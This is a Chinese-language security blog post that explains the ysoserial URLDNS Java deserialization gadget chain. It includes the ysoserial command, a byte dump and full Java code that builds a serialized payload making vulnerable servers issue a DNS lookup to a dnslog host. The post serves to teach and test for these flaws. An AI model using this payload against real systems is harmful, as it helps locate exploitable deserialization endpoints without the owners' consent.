前言

URLDNS是ysoserial中比较简单的gadget,可以通过分析其利用链来了解反序列化执行java代码的过程。相较于其他gadget,URLDNS不依赖于第三方类和不限制jdk版本的属性使其成为应用最多的探测Java反序列化命令执行的payload。

示例

使用ysoserial生成URLDNS gadget payload

java -jar ysoserial.jar URLDNS "http://xxxx.ceye.io" > 1.ser

desEmploy.java readObject()反序列化该字节序列,实现dns解析
使用SerializationDumper查看字节序列内容。
STREAM_MAGIC- 0xac edSTREAM_VERSION- 0x00 05ContentsTC_OBJECT- 0x73TC_CLASSDESC- 0x72classNameLength- 17 - 0x00 11Value- java.util.HashMap - 0x6a6176612e7574696c2e486173684d6170serialVersionUID- 0x05 07 da c1 c3 16 60 d1newHandle0x00 7e 00 00classDescFlags- 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLEfieldCount- 2 - 0x00 02Fields0:Float- F - 0x46fieldNameLength- 10 - 0x00 0aValue- loadFactor - 0x6c6f6164466163746f721:Int- I - 0x49fieldNameLength- 9 - 0x00 09Value- threshold - 0x7468726573686f6c64classAnnotationsTC_ENDBLOCKDATA- 0x78superClassDescTC_NULL- 0x70newHandle0x00 7e 00 01classdatajava.util.HashMapvaluesloadFactor(float)1.06115891E9- 0x3f 40 00 00threshold(int)12- 0x00 00 00 0cobjectAnnotationTC_BLOCKDATA- 0x77Length- 8 - 0x08Contents- 0x0000001000000001TC_OBJECT- 0x73TC_CLASSDESC- 0x72classNameLength- 12 - 0x00 0cValue- java.net.URL - 0x6a6176612e6e65742e55524cserialVersionUID- 0x96 25 37 36 1a fc e4 72newHandle0x00 7e 00 02classDescFlags- 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLEfieldCount- 7 - 0x00 07Fields0:Int- I - 0x49fieldNameLength- 8 - 0x00 08Value- hashCode - 0x68617368436f64651:Int- I - 0x49fieldNameLength- 4 - 0x00 04Value- port - 0x706f72742:Object- L - 0x4cfieldNameLength- 9 - 0x00 09Value- authority - 0x617574686f72697479className1TC_STRING- 0x74newHandle0x00 7e 00 03Length- 18 - 0x00 12Value- Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b3:Object- L - 0x4cfieldNameLength- 4 - 0x00 04Value- file - 0x66696c65className1TC_REFERENCE- 0x71Handle- 8257539 - 0x00 7e 00 034:Object- L - 0x4cfieldNameLength- 4 - 0x00 04Value- host - 0x686f7374className1TC_REFERENCE- 0x71Handle- 8257539 - 0x00 7e 00 035:Object- L - 0x4cfieldNameLength- 8 - 0x00 08Value- protocol - 0x70726f746f636f6cclassName1TC_REFERENCE- 0x71Handle- 8257539 - 0x00 7e 00 036:Object- L - 0x4cfieldNameLength- 3 - 0x00 03Value- ref - 0x726566className1TC_REFERENCE- 0x71Handle- 8257539 - 0x00 7e 00 03classAnnotationsTC_ENDBLOCKDATA- 0x78superClassDescTC_NULL- 0x70newHandle0x00 7e 00 04classdatajava.net.URLvalueshashCode(int)-1- 0xff ff ff ffport(int)-1- 0xff ff ff ffauthority(object)TC_STRING- 0x74newHandle0x00 7e 00 05Length- 14 - 0x00 0eValue- m.ceye.io - 0x6963696d77382e636579652e696ffile(object)TC_STRING- 0x74newHandle0x00 7e 00 06Length- 0 - 0x00 00Value- - 0xhost(object)TC_REFERENCE- 0x71Handle- 8257541 - 0x00 7e 00 05protocol(object)TC_STRING- 0x74newHandle0x00 7e 00 07Length- 4 - 0x00 04Value- http - 0x68747470ref(object)TC_NULL- 0x70objectAnnotationTC_ENDBLOCKDATA- 0x78TC_STRING- 0x74newHandle0x00 7e 00 08Length- 21 - 0x00 15Value- http://xxx.ceye.io - 0x687474703a2f2f6963696d77382e636579652e696fTC_ENDBLOCKDATA- 0x78
根据输出结果得出:className,这是一个HashMap对象序列化后的字节序列;classDescFlags为3,表示该类重写了readObject方法;classdata,HashMap中key&value是一个URL对象。

Gadget chains跟进分析

Gadget chains
HashMap.readObjetc()HashMap.putVal()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()
根据SerializationDumper给出的信息,可以看出该payload的利用需要HashMap.readObject()方法来反序列化。
HashMap.readOject()
privatevoidreadObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))thrownew InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)thrownew InvalidObjectException("Illegal mappings count: " + mappings);elseif (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc));float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked") K key = (K) s.readObject();@SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
putVal(hash(key), key, value, false, false)-->HashMap.hash()
staticfinalinthash(Object key){int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
key.hashCode()-->URL.hashCode()
publicsynchronizedinthashCode(){if (hashCode != -1)return hashCode; hashCode = handler.hashCode(this);return hashCode; }
payload中URL对象hashCode为-1,进入handler.hashCode(this)-->URLStreamHandler.hashCode()
protectedinthashCode(URL u) {int h = 0;// Generate the protocol part. String protocol = u.getProtocol();if (protocol != null) h += protocol.hashCode();// Generate the host part. InetAddress addr = getHostAddress(u);if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost();if (host != null) h += host.toLowerCase().hashCode(); }// Generate the file part. String file = u.getFile();if (file != null) h += file.hashCode();// Generate the port part.if (u.getPort() == -1) h += getDefaultPort();else h += u.getPort();// Generate the ref part. String ref = u.getRef();if (ref != null) h += ref.hashCode();return h; }
InetAddress addr = getHostAddress(u),触发dns请求。

URLDNS Gadget payload构造

上面分析了URLDNS Gadget是如何触发的,逆推就可得出payload的生成方法。
import java.net.URL;import java.util.HashMap;publicclassgenURLPoc{publicstaticvoidmain(String[] args)throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL("http://xxx.ceye.io"); hashMap.put(url,123); }}
此时url的hashcode为默认值-1,当进行HashMap.put(),时会重新计算hash(key)触发dns请求即生成payload时dnslog就会收到dns请求,会对检查结果产生影响。
需要修改默认的hashcode为除-1外的任意值,使生成payload时不触发dns请求。由于hashCode使用private修饰,所以需要反射的方式来修改其值,put进hashMap后再将其修改为-1,完整payload如下。
import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;publicclassgenURLPoc{publicstatic void main(String[] args) throwsMalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {HashMap hashMap = new HashMap<>();URL url = new URL("http://xxx.ceye.io");//通过反射修改hashCode,Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,123);System.out.println(url.hashCode()); hashMap.put(url,123); f.set(url,-1);//序列化hashMap,储存于urldns.sertry{FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(hashMap); outputStream.close(); fileOutputStream.close(); }catch(Exception e){ e.printStackTrace(); } }}
使用之前实验用的desEmploy.java反序列化urldns.ser,dnslog收到请求。


E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文